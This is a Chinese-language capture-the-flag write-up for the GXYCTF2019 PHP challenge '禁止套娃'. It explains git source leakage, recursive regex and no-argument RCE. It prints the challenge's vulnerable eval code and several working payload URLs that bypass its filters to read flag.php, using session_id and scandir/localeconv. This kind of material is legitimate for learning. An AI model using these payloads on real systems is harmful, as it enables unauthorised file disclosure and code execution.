[GXYCTF2019]禁止套娃 1
知识点
- git泄露
- PHP中正则表达式的递归
- 无参数RCE
WP
自己做这题的时候对于这个正则表达式的递归和无参数RCE都是第一次接触,连正则表达式都没看懂。。之后上网查了一下资料,写下了这篇WP。
首先进入环境,用dirsearch扫一下,存在git泄露,用工具把源码弄下来:
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
首先过滤了一些一些,然后是一个奇怪的正则表达式:
'/[a-z,_]+\((?R)?\)/'
主要的难点就是(?R)
,这是PHP的递归模式:
递归模式
简单点来说,就可以这样理解:
'/[a-z,_]+\(\)/'
把(?R)挖掉得到这个正则,这个正则可以匹配类似这样的字符串:phpinfo()
但是括号里面有一个递归模式,可以理解成可以递归:
phpinfo(phpinfo(phpinfo()))
无穷的递归下去,也就是说我们要传的是函数名,但是里面不能有参数。因此这题的考点也就是无参数RCE。
关于无参数RCE,强烈推荐先把这篇文章看完:
PHP Parametric Function RCE
文章中一共提到了五种方法,我们一一来复现一下,看看哪些方法可以成功:
方法一
我们要么想直接执行命令,要么就是读flag.php。但是getenv()
更多的是信息的收集,里面的内容我们也不可控,因此getenv()
在这题对我们并没有帮助。
方法二
尚且不说题目的环境是不是apache2,注意第三个正则表达:
'/et|na|info|dec|bin|hex|oct|pi|log/i'
et就已经把所有名字里有get的函数都给pass了,因此getallheaders()不行。
方法三
同样的,get_defined_vars()被过滤,这个方法不行。
方法四
我们可以利用session_id()
来获得PHPSESSID,但是PHPSESSID只支持字母数字。如果要执行命令,里面势必会有引号斜杠之类的其他字符,正常是要转16进制传入,然后16进制解出来再进行执行。但是第三个正则:
'/et|na|info|dec|bin|hex|oct|pi|log/i'
过滤了hex和bin,我们也就没法执行hex2bin进行十六进制解码,因此无法直接执行命令。既然这样,那就直接读flag.php:
如何读取flag.php呢,正常可以
file_get_contents()
highlight_file()
show_source()
fgets()
file()
readfile()
之类的。但是因为过滤,只能用下面这些了:
highlight_file()
?exp=highlight_file(session_id(session_start()));
show_source()
?exp=show_source(session_id(session_start()));
file()
?exp=print_r(file(session_id(session_start())));
readfile()
?exp=readfile(session_id(session_start()));
成功得到flag。
方法五
方法五我一开始以为是不行的,因为getcwd()已经被过滤了,没法得到当前的目录。后来我看到了王叹之大师傅的WP,get了一个新姿势:
localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是.
可以利用current()来得到这个.。pos()是currnt()的别名,在current()被过滤的时候可以用它。
有个.,就相当于可以代替当前路径了:
但是flag.php在索引为3的位置,没法直接读取,这里利用array_rand()函数:
array_rand — 从数组中随机取出一个或多个单元。但是他取出的是键,我们想要的是值,还要利用array_flip(),把键与值交换,这样就可以了:
?exp=print_r(array_rand(array_flip(scandir(current(localeconv())))));
这样就得到了flag.php,接下来就是读取文件,姿势和方法四里的读文件一样。
总结
学习了无参数RCE的各种姿势,这个题目针不戳!